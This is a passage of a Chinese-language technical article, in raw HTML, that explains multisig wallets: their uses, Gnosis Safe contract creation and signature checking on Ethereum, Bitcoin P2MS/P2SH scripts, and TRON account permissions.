46, 46);" mpa-from-tpl="t"> <strong> </strong><strong>应用场景</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">多签钱包最常见的应用场景是需求强安全性的个人，以及管理公共资产的投资机构、交易所以及项目方。</span><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><strong><span style="letter-spacing: 1px;text-indent: -24pt;color: rgb(0, 122, 170);">1、资金安全</span></strong></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-size: 12pt;text-indent: -24pt;color: rgb(84, 84, 84);letter-spacing: 1px;">在多签钱包出现以前，账户（地址）的所有权掌握在私钥拥有者的手中。一但私钥泄露或遗忘就意味着失去了对钱包的控制权，与之关联的加密资产将完全丢失。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-size: 12pt;text-indent: -24pt;color: rgb(84, 84, 84);letter-spacing: 1px;">即使存在一些比较安全的方案来防止私钥的泄露和丢失（硬件钱包，助记词），但依旧无法有效的解决这样的问题。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">多签钱包的存在，能够在很大程度上降低加密资产损失的风险。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">以2/3多签模式为例，在全部的3个私钥中，只要有2个私钥完成签名授权就能完成加密资产的转移。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">当然为了方便的话，也可以使用1/3多签模式，但这种方式仅仅是降低了密钥丢失的风险，并不能保证资产的安全性。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><strong><span style="color: rgb(0, 122, 170);font-size: 12pt;letter-spacing: 1px;text-indent: -24pt;">2、资金共管</span></strong></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;font-size: 12pt;">很多DeFi 协议/ DAO 组织/区块链团队往往都有自己的金库，金库里的资产是整个生态所共享的，控制权不能掌握在某个人的手中，每次动用都要经过多数人的同意或社区投票。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;font-size: 12pt;">多签钱包可以保证金库里的资产由领导者（贡献者）共同持有。</span><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><strong><span style="font-size: 12pt;text-indent: 0pt;color: rgb(0, 122, 170);">3、多签操作</span></strong></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">在目前这个发展阶段，很多去中心化协议其实都是有个管理员权限的，这个管理员权限往往可以更改协议的某些关键参数。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">行业普遍做法是把这个管理员权限交给一个多签钱包或时间锁，当需要更改参数时，需要多个人共同签署相关操作。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t">  <strong>实现原则</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><h3 style="text-align: justify;text-indent: 0pt;break-after: avoid;font-size: 14pt;font-family: Calibri;color: rgb(79, 129, 189);line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-weight: bold;letter-spacing: 1px;text-indent: 0pt;">以太坊</span><br/></h3><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">以太坊原生并不支持多签地址，通常需要依靠智能合约来实现这一机制。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">目前来说，以太坊上使用最广泛的多签智能合约由Gnosis团队进行开发，最新版本（1.3.0）主要由 GnosisSafe ProxyFactory，GnosisSafe proxy，GnosisSafe 三个合约组成，其中 ProxyFactory 和 Safe 合约由 Gnosis 官方进行部署，用户进行管理和操作的是 proxy 合约。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(0, 122, 170);font-family: Cambria;font-weight: bold;letter-spacing: 1px;font-size: 16px;">生成多签钱包</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">以rinkeby上一笔生成多签钱包的交易为例（<span class="code-snippet__number" style="color: rgb(84, 84, 84);white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;">0xd94dae4be055f443d47ad2b84db6ec740bda39bc8f6084b4dfd</span><span style="color: rgb(84, 84, 84);white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);">868a1b521ece4</span>）：</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">1、用户调用 ProxyFactory 合约的 createProxyWithNonce 函数创建多签钱包，此时传入的参数如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"> _singleton: 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552 </span></code><code><span class="code-snippet_outer"> initializer: 0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000f48f2b2d2a534e402487b3ee7c18c33aec0fe5e400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000005ce0b4d552a80ca79ef391a1d87be7350f3e09ab0000000000000000000000000000000000000000000000000000000000000000 </span></code><code><span class="code-snippet_outer"> saltNonce: 1661943294934</span></code></pre></section><section style="margin: 16px 16px 24px;line-height: 1.75em;text-align: justify;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">2、createProxyWithNonce 函数内部会调用 deployProxyWithNonce 函数部署 proxy 合约。部署 proxy 合约所使用的 creation code 为 GnosisSafeProxy 合约的 creation code ，并在 creation code 后带上 implementation 合约（Gnosis Safe）的地址作为 constructor 的参数 。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: right;text-indent: -24pt;"> </span></section><section style="margin: 16px 16px 24px;line-height: 1.75em;text-align: center;"><shape type="#_x0000_t75" filled="f" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: right;left: 0px;width: 420pt;height: 146.25pt;"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.3482142857142857" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: right;text-indent: -24pt;width: 553.8084106445312px;height: 195px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=b55a7cf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04833yhsE3xbIE08y7zyDPX47uVnEiabIh8w6yYmVWVdYOgSiac5w8W7Kg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;margin-left: 16px;margin-right: 16px;line-height: 1.75em;margin-top: 16px;"><span style="letter-spacing: 1px;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">创建的 proxy 合约地址为：0xc4CbE91175B315f5BaD83f8337d9103316492eD1。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.75em;margin-top: 16px;"><img class="rich_pages wxw-img" data-ratio="0.24107142857142858" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 553.8084106445312px;height: 135.07000732421875px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=121ba4d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04gFKhuAsPBEH9gk2AXpn4Yg33JHsJichE1HxPOVpZJsjgkrkbMTv6OHw%2F640%3Fwx_fmt%3Dpng"/>            </section><p style="margin-left: 16px;margin-right: 16px;line-height: 1.75em;margin-top: 16px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 16px;">3、创建合约使用的是内联汇编的方式，通过 call 调用 proxy 合约内的函数，具体需要调用的初始化函数由参数 initializer 来实现。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></p><p style="margin-left: 16px;margin-right: 16px;line-height: 1.75em;margin-top: 16px;text-align: center;"><img class="rich_pages wxw-img" data-backh="183" data-backw="546" data-ratio="0.3357142857142857" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 100%;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=f808f67c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04QeDONbfxebHcGiaOwUuzTgLKUibibDoXpE7AunwqicJfKChY7jWyTfu3jg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">4、回到创建钱包的交易。通过解析 initializer 参数可以发现，调用的是 proxy 合约的 setup 函数进行初始化。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">&gt;&gt;&gt; sha3.keccak_256(&#39;setup(address[],uint256,address,bytes,address,address,uint256,address)&#39;.encode(&#39;utf-8&#39;)).hexdigest()</span></code><code><span class="code-snippet_outer">&gt;&gt;&gt; &#39;b63e800d34f56a9238e5b86a8547a23865164bec371bede606e899182da118bf&#39;</span></code><code><span class="code-snippet_outer">&gt;&gt;&gt; initializer[:8]</span></code><code><span class="code-snippet_outer">&gt;&gt;&gt; &#39;b63e800d&#39;</span></code></pre></section><p style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">setup 函数会将用户设置的多签规则（owner, threshold）设置到 proxy 合约中，完成用户对于多签钱包的特定需求。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></p><p style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;text-align: center;"><img class="rich_pages wxw-img" data-backh="305" data-backw="546" data-ratio="0.5589285714285714" width="560" data-type="png" data-w="560" height="313" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7d41d117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04ibVsoqDSId2fY16SKN4WJX0ommFlT9FW5KfiaFLstvo4aahWacicgILaw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(0, 122, 170);font-family: Cambria;font-weight: bold;letter-spacing: 1px;font-size: 16px;">执行多签操作</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">相较于 Gnosis 旧版本的合约 MultiSigWallet 来说，新版本的多签合约不需要所有（阈值数）验证者都发起一笔表示“同意此次操作”的交易来完成多签操作，取而代之的是在最后一个验证者（达到阈值）同意多签操作后，他会将投同意票的验证者的签名进行汇总形成交易，并发送到链上来完成多签操作。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">1、在 Gnosis app 上发送一笔多签交易，并等待其他验证者来签名交易。此时不会向链上发送签名交易，Gnosis 会将当前验证者所签名的信息存储在服务端。</span><span style="font-size: 12pt;color: rgb(84, 84, 84);letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></section><section style="text-align: center;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><img class="rich_pages wxw-img" data-ratio="0.3142857142857143" style="font-size: 12pt;color: rgb(84, 84, 84);letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 553.8084106445312px;height: 176.47000122070312px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=3c08e3e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04H1UL91AibUjTVVIicJLVPAw3oV0YuU0waicEibcwJfF1eVibCs6F6PkibfnA%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">2、当验证者的数量达到阈值时，最后确认交易的验证者会向链上发送交易，执行对应的多签操作。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></section><section style="margin-left: 16px;margin-right: 16px;margin-top: 16px;line-height: 1.75em;text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.35" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 553.8084106445312px;height: 195.60000610351562px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=276129d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04C6cmF95QOgltmN4MoGcCuicGwuRvIoB7hlBNyEBcC9IdibBqt1gm8Xyg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px 16px 24px;line-height: 1.75em;text-align: left;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">当前多签交易的哈希为：0x13401cb61972e7df739f1be6cc137c7aa48e0b0ccc39e6d5e2c99059ec35242f，调用的是 proxy 合约的 execTransaction 函数。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: justify;text-indent: -24pt;"> </span></section><section style="margin: 16px 16px 24px;line-height: 1.75em;text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.1875" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: justify;text-indent: -24pt;width: 535px;height: 100px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=a0aa5a34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf043AczypM8hVNX6TOjQICDFXU5eJpBduULsdpxgr7DpL9gpSjCkkKL7g%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;font-style: italic;text-align: justify;text-indent: -24pt;"> </span></section><section style="margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">3、execTransaction 函数的主要逻辑有两部：调用 checkSignatures 函数来验证签名，调用 execute 函数来执行操作。所有的签名信息通过 signatures 参数传入函数。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></section><section style="margin: 16px 16px 24px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-backh="328" data-backw="546" data-ratio="0.6" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 100%;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=46275e5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf0404Caju8lI05icHBptt9x5EsFmcQhT2pdNCZFaYDc7ZDvrWeQVDd2sHA%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">4、checksignatures 函数会对传入的 signatures 进行解析，在获取到每个验证者的签名信息后，根据签名的类型进行不同的验证。可以看到，对于个人地址来说，主要是通过调用 ecrecover 函数从签名信息中恢复公钥（地址），并判断地址是否均在 owners 数组中。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-indent: -24pt;"> </span></section><section style="text-align: center;line-height: 1.75em;margin: 16px 16px 24px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.52109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=47a11d98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04fVWcllG9sn5V59ic7ZWLsoFHrWiaaXN5kZCGYnadKMYcibpM2IYefRyyw%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;">5、execute 函数的功能是根据传入的 operation 和 data 执行对应的多签操作。</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;"> </span></section><section style="margin: 16px 16px 24px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-backh="279" data-backw="546" data-ratio="0.5107142857142857" style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-align: center;text-indent: -24pt;width: 100%;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=8afa611d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04slFxPA2wbJvFhLvhqq8c92atTQPOPlVdNxE3pPXPvqvZauaGsVAKNQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(0, 122, 170);font-weight: bold;letter-spacing: 1px;text-indent: 0pt;">比特币</span><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="letter-spacing: 1px;font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);">在比特币中有2种类型的地址，1开头的是P2PKH（pay to script hash），就是个人地址，3开头的是P2SH（pay to script hash），一般是多签地址。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="letter-spacing: 1px;font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);">普通的比特币地址是由公钥做哈希后得到的，而多重签名地址基于脚本哈希，所以能够实现复杂的交易逻辑，因此在原生上比特币就支持多签。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="letter-spacing: 1px;font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);">实现多签的操作码为OP_CHECKMULTISIG，它允许将 UTXO 锁定到 N 个公钥上，并设置多签规则，需要至少提供 M 个签名，才能解锁资金。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">在 P2SH 出现之前，实现多签采用的是付款到多重签名（ P2MS，pay to multi signature）的脚本来锁定 UTXO。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">设置 M/N 多重签名条件的锁定脚本一般形式为：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">M &lt;Public Key 1&gt; &lt;Public Key 2&gt; ... &lt;Public Key N&gt; N CHECKMULTISIG</span></code></pre></section><section style="text-align: justify;text-indent: 0pt;word-break: break-all;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><public key=""><public key=""><public key="" n=""></public></public></public></span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">解锁脚本为：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">00 &lt;Signature 1&gt; &lt;Signature 2&gt; ... &lt;Signature M&gt; M &lt;Public Key 1&gt; &lt;Public Key 2&gt; ... &lt;Public Key N&gt; N CHECKMULTISIG</span></code></pre></section><section style="text-align: justify;text-indent: 0pt;word-break: break-all;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><signature><signature><signature m=""><public key=""><public key=""><public key="" n=""></public></public></public></signature></signature></signature></span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">P2SM 在使用时有诸多不便，因为付款方需要了解锁定脚本（由收款方定义）的全部细节，并且付款方要为大量的交易数据支付高额的费用。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">为了避免这种问题，BIP-16 提案引入了 P2SH ，允许将 UTXO 锁定到一个脚本的哈希（数据指纹）上。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">在 P2SH 中，由哈希值代替的锁定脚本称为赎回脚本（redeem script），赎回脚本形式如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;Script&gt; OP_HASH160 &lt;Script Hash&gt; OP_EQUAL</span></code></pre></section><section style="color: rgb(0, 0, 0);font-size: medium;white-space: normal;margin-left: 16px;margin-right: 16px;line-height: 1.75em;margin-top: 16px;"><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">Script Hash 为解锁脚本的哈希值，在收款方需要使用到这笔 UTXO 时，会将赎回脚本与锁定脚本比对，确认哈希匹配后，解锁脚本会被执行以释放赎回脚本。<br/></span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;margin: 16px 16px 24px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;">P2SH 让“向 N 个多重签名的具体脚本支付”，等同于“向有该哈希值的脚本支付”，变得跟 P2PKH 一样简单。</span><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"></span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">• 向付款方提供脚本哈希，就像 P2PKH 需要公钥一样</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">• 赎回脚本的内容，从锁定脚本转移到解锁脚本中，更多的交易费也从发送方转移到收款方</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(0, 122, 170);font-family: Cambria;font-weight: bold;letter-spacing: 1px;font-size: 16px;">其他</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">波场链上的账户（地址）支持多重签名的操作，为账户设置了三种权限：owner-permission，witness-permission 和 active-permission。Owner permission 是一个账户的最高级权限，用于控制账户的归属、调整权限结构。因此即使拥有某个账户的私钥，也不一定拥有对这个账户的所有权限。</span></section><section style="text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 